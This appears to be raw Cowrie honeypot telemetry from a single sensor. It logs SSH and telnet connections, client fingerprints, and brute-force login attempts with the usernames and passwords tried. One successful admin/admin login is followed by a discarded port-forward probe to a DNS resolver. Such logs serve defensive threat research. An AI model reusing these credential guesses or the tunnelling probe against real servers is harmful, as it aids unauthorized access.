{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:21.008789Z","src_ip":"51.250.105.222","session":"2721301f3e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:21.132458Z","src_ip":"51.250.105.222","session":"2721301f3e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kfgjxrf","message":"login attempt [root/kfgjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:21.501680Z","src_ip":"51.250.105.222","session":"2721301f3e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:22.627112Z","src_ip":"51.250.105.222","session":"2721301f3e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.082390069961548,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:23.781671Z","src_ip":"152.42.224.71","session":"74ee78c0f260","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.91661977767944,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:24.281699Z","src_ip":"152.42.224.71","session":"8ccf6be9cf9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.08757162094116,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:47.603469Z","src_ip":"152.42.224.71","session":"9dfbef15b19c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.73659324645996,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:16:49.471610Z","src_ip":"152.42.224.71","session":"2297be079e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35720,"dst_ip":"159.203.135.109","dst_port":22,"session":"632437472acd","protocol":"ssh","message":"New connection: 103.195.236.96:35720 (159.203.135.109:22) [session: 632437472acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:17:02.847453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:17:02.854279Z","src_ip":"103.195.236.96","session":"632437472acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:17:03.095159Z","src_ip":"103.195.236.96","session":"632437472acd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angelika","message":"login attempt [root/angelika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:17:03.814140Z","src_ip":"103.195.236.96","session":"632437472acd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:17:05.057173Z","src_ip":"103.195.236.96","session":"632437472acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":60198,"dst_ip":"10.17.0.5","dst_port":22,"session":"7431356b401a","protocol":"ssh","message":"New connection: 103.122.221.179:60198 (10.17.0.5:22) [session: 7431356b401a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:18.880650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:18.886058Z","src_ip":"103.122.221.179","session":"7431356b401a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:19.200055Z","src_ip":"103.122.221.179","session":"7431356b401a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38360,"dst_ip":"10.17.0.5","dst_port":23,"session":"974130dce6bb","protocol":"telnet","message":"New connection: 152.42.224.71:38360 (10.17.0.5:23) [session: 974130dce6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:19.244978Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vanessa","message":"login attempt [root/vanessa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:19.945989Z","src_ip":"103.122.221.179","session":"7431356b401a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:21.198179Z","src_ip":"103.122.221.179","session":"7431356b401a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56072,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aac3c721650","protocol":"ssh","message":"New connection: 87.251.64.176:56072 (10.17.0.5:22) [session: 1aac3c721650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:28.653869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:28.658795Z","src_ip":"87.251.64.176","session":"1aac3c721650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:28.755694Z","src_ip":"87.251.64.176","session":"1aac3c721650","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:29.045665Z","src_ip":"87.251.64.176","session":"1aac3c721650","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:29.146126Z","session":"1aac3c721650","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:29.248206Z","src_ip":"87.251.64.176","session":"1aac3c721650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:29.347488Z","src_ip":"87.251.64.176","session":"1aac3c721650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51896,"dst_ip":"10.17.0.5","dst_port":23,"session":"036bd5f2b1fe","protocol":"telnet","message":"New connection: 152.42.224.71:51896 (10.17.0.5:23) [session: 036bd5f2b1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:31.523458Z"}
{"eventid":"cowrie.session.closed","duration":20.010395765304565,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:18:51.533713Z","src_ip":"152.42.224.71","session":"036bd5f2b1fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.59005880355835,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:19:07.834896Z","src_ip":"152.42.224.71","session":"974130dce6bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":56630,"dst_ip":"159.203.135.109","dst_port":22,"session":"d23128f91f75","protocol":"ssh","message":"New connection: 77.94.47.83:56630 (159.203.135.109:22) [session: d23128f91f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:19:52.921909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:19:52.927292Z","src_ip":"77.94.47.83","session":"d23128f91f75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:19:53.045747Z","src_ip":"77.94.47.83","session":"d23128f91f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:19:53.400330Z","src_ip":"77.94.47.83","session":"d23128f91f75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:19:54.520946Z","src_ip":"77.94.47.83","session":"d23128f91f75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.7","src_port":14528,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cd3309fa95f","protocol":"ssh","message":"New connection: 176.65.132.7:14528 (10.17.0.5:22) [session: 4cd3309fa95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:01.852707Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:01.862376Z","src_ip":"176.65.132.7","session":"4cd3309fa95f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.7","src_port":14538,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ad97d2e8f57","protocol":"ssh","message":"New connection: 176.65.132.7:14538 (10.17.0.5:22) [session: 2ad97d2e8f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:01.983838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:01.990351Z","src_ip":"176.65.132.7","session":"2ad97d2e8f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:02.076989Z","src_ip":"176.65.132.7","session":"2ad97d2e8f57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:02.247288Z","src_ip":"176.65.132.7","session":"2ad97d2e8f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:03.339401Z","src_ip":"176.65.132.7","session":"2ad97d2e8f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51888,"dst_ip":"10.17.0.5","dst_port":23,"session":"36e83a3f6db6","protocol":"telnet","message":"New connection: 152.42.224.71:51888 (10.17.0.5:23) [session: 36e83a3f6db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:49.773689Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":25386,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0f8695e4165","protocol":"ssh","message":"New connection: 2.57.121.112:25386 (10.17.0.5:22) [session: f0f8695e4165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:52.967318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:52.972067Z","src_ip":"2.57.121.112","session":"f0f8695e4165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:53.077917Z","src_ip":"2.57.121.112","session":"f0f8695e4165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4893","message":"login attempt [admin/4893] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:53.575603Z","src_ip":"2.57.121.112","session":"f0f8695e4165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4815162342a","message":"login attempt [admin/4815162342a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:54.687042Z","src_ip":"2.57.121.112","session":"f0f8695e4165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"481516234","message":"login attempt [admin/481516234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:20:55.799642Z","src_ip":"2.57.121.112","session":"f0f8695e4165","protocol":"ssh"}
